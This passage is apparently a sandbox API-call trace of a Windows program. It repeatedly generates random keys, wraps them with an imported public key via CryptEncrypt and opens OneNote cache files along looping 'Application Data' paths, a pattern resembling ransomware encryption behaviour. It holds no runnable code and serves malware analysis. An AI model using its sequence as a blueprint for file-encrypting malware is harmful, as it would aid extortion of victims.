hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x66e188) returned 1 [0173.377] CryptGetKeyParam (in: hKey=0x66e188, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0173.377] CryptEncrypt (in: hKey=0x66e188, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3890000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x3890000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0173.377] GetLastError () returned 0x0 [0173.377] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0173.377] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\0000000H.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\0000000h.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0173.377] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0173.383] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0173.383] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0173.383] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0173.383] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0173.383] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0173.389] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0173.390] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0173.390] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0173.390] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0173.390] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4430) returned 1 [0173.407] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x66e748) returned 1 [0173.407] CryptGetKeyParam (in: hKey=0x66e748, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0173.407] CryptEncrypt (in: hKey=0x66e748, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x38a0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x38a0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0173.407] GetLastError () returned 0x0 [0173.407] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0173.407] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4430) returned 1 [0173.418] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x66e3c8) returned 1 [0173.418] CryptGetKeyParam (in: hKey=0x66e3c8, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0173.418] CryptEncrypt (in: hKey=0x66e3c8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x38b0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x38b0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0173.418] GetLastError () returned 0x0 [0173.418] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0173.418] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\0000000I.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\0000000i.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0173.418] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4430) returned 1 [0173.422] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0173.422] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0173.422] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0173.422] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0173.423] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0173.426] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0173.426] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0173.426] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0173.426] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0173.426] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0173.437] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x66e1c8) returned 1 [0173.438] CryptGetKeyParam (in: hKey=0x66e1c8, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0173.438] CryptEncrypt (in: hKey=0x66e1c8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x38c0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x38c0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0173.438] GetLastError () returned 0x0 [0173.438] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0173.438] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4430) returned 1 [0173.449] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x66e408) returned 1 [0173.449] CryptGetKeyParam (in: hKey=0x66e408, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0173.449] CryptEncrypt (in: hKey=0x66e408, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x38d0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x38d0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0173.449] GetLastError () returned 0x0 [0173.449] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0173.450] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\0000000J.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\0000000j.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0173.450] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4430) returned 1 [0173.454] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0173.454] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0173.454] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0173.454] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0173.454] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0173.459] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0173.459] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0173.459] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0173.459] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0173.459] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0173.474] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x66e508) returned 1 [0173.475] CryptGetKeyParam (in: hKey=0x66e508, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0173.475] CryptEncrypt (in: hKey=0x66e508, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x38e0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x38e0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0173.475] GetLastError () returned 0x0 [0173.475] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0173.475] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4540) returned 1 [0173.490] CryptImportKey (in: hProv=0x5c4540, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x66e548) returned 1 [0173.490] CryptGetKeyParam (in: hKey=0x66e548, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0173.490] CryptEncrypt (in: hKey=0x66e548, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x38f0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x38f0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0173.490] GetLastError () returned 0x0 [0173.490] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0173.490] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\0000000L.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\0000000l.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0173.490] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0173.494] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0173.494] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0173.494] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0173.494] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0173.494] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0173.498] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0173.498] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0173.498] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0173.498] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0173.498] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4430) returned 1 [0173.510] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x66e588) returned 1 [0173.510] CryptGetKeyParam (in: hKey=0x66e588, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0173.510] CryptEncrypt (in: hKey=0x66e588, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3900000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x3900000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0173.510] GetLastError () returned 0x0 [0173.510] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0173.510] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0173.522] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x66e608) returned 1 [0173.522] CryptGetKeyParam (in: hKey=0x66e608, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0173.522] CryptEncrypt (in: hKey=0x66e608, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3910000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x3910000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0173.522] GetLastError () returned 0x0 [0173.522] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0173.522] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\0000000M.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\0000000m.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0173.522] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4430) returned 1 [0173.526] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0173.526] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0173.526] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0173.526] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0173.526] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0173.530] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0173.530] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0173.530] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0173.530] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0173.530] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4430) returned 1 [0173.542] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x66e788) returned 1 [0173.542] CryptGetKeyParam (in: hKey=0x66e788, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0173.542] CryptEncrypt (in: hKey=0x66e788, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3920000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x3920000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0173.542] GetLastError () returned 0x0 [0173.542] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0173.542] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4430) returned 1 [0173.554] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x66d8c8) returned 1 [0173.554] CryptGetKeyParam (in: hKey=0x66d8c8, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0173.554] CryptEncrypt (in: hKey=0x66d8c8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3930000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x3930000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0173.554] GetLastError () returned 0x0 [0173.554] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0173.554] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\0000000N.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\0000000n.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0173.554] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0173.558] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0173.558] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0173.558] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0173.558] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0173.558] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0173.562] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0173.562] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0173.562] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0173.562] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0173.562] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0173.573] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x66da88) returned 1 [0173.573] CryptGetKeyParam (in: hKey=0x66da88, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0173.573] CryptEncrypt (in: hKey=0x66da88, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3940000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x3940000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0173.573] GetLastError () returned 0x0 [0173.573] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0173.573] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0173.590] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x66dc08) returned 1 [0173.590] CryptGetKeyParam (in: hKey=0x66dc08, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0173.590] CryptEncrypt (in: hKey=0x66dc08, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3950000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x3950000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0173.591] GetLastError () returned 0x0 [0173.591] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0173.591] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\0000000O.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\0000000o.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0173.591] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0173.595] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0173.595] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0173.595] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0173.595] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0173.595] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0173.598] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0173.599] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0173.599] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0173.599] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0173.599] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0173.610] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x66dac8) returned 1 [0173.610] CryptGetKeyParam (in: hKey=0x66dac8, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0173.610] CryptEncrypt (in: hKey=0x66dac8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3960000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x3960000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0173.610] GetLastError () returned 0x0 [0173.610] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0173.610] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4540) returned 1 [0173.621] CryptImportKey (in: hProv=0x5c4540, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x66dd08) returned 1 [0173.621] CryptGetKeyParam (in: hKey=0x66dd08, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0173.621] CryptEncrypt (in: hKey=0x66dd08, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3970000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x3970000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0173.621] GetLastError () returned 0x0 [0173.621] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0173.621] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\0000000P.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\0000000p.bin"), 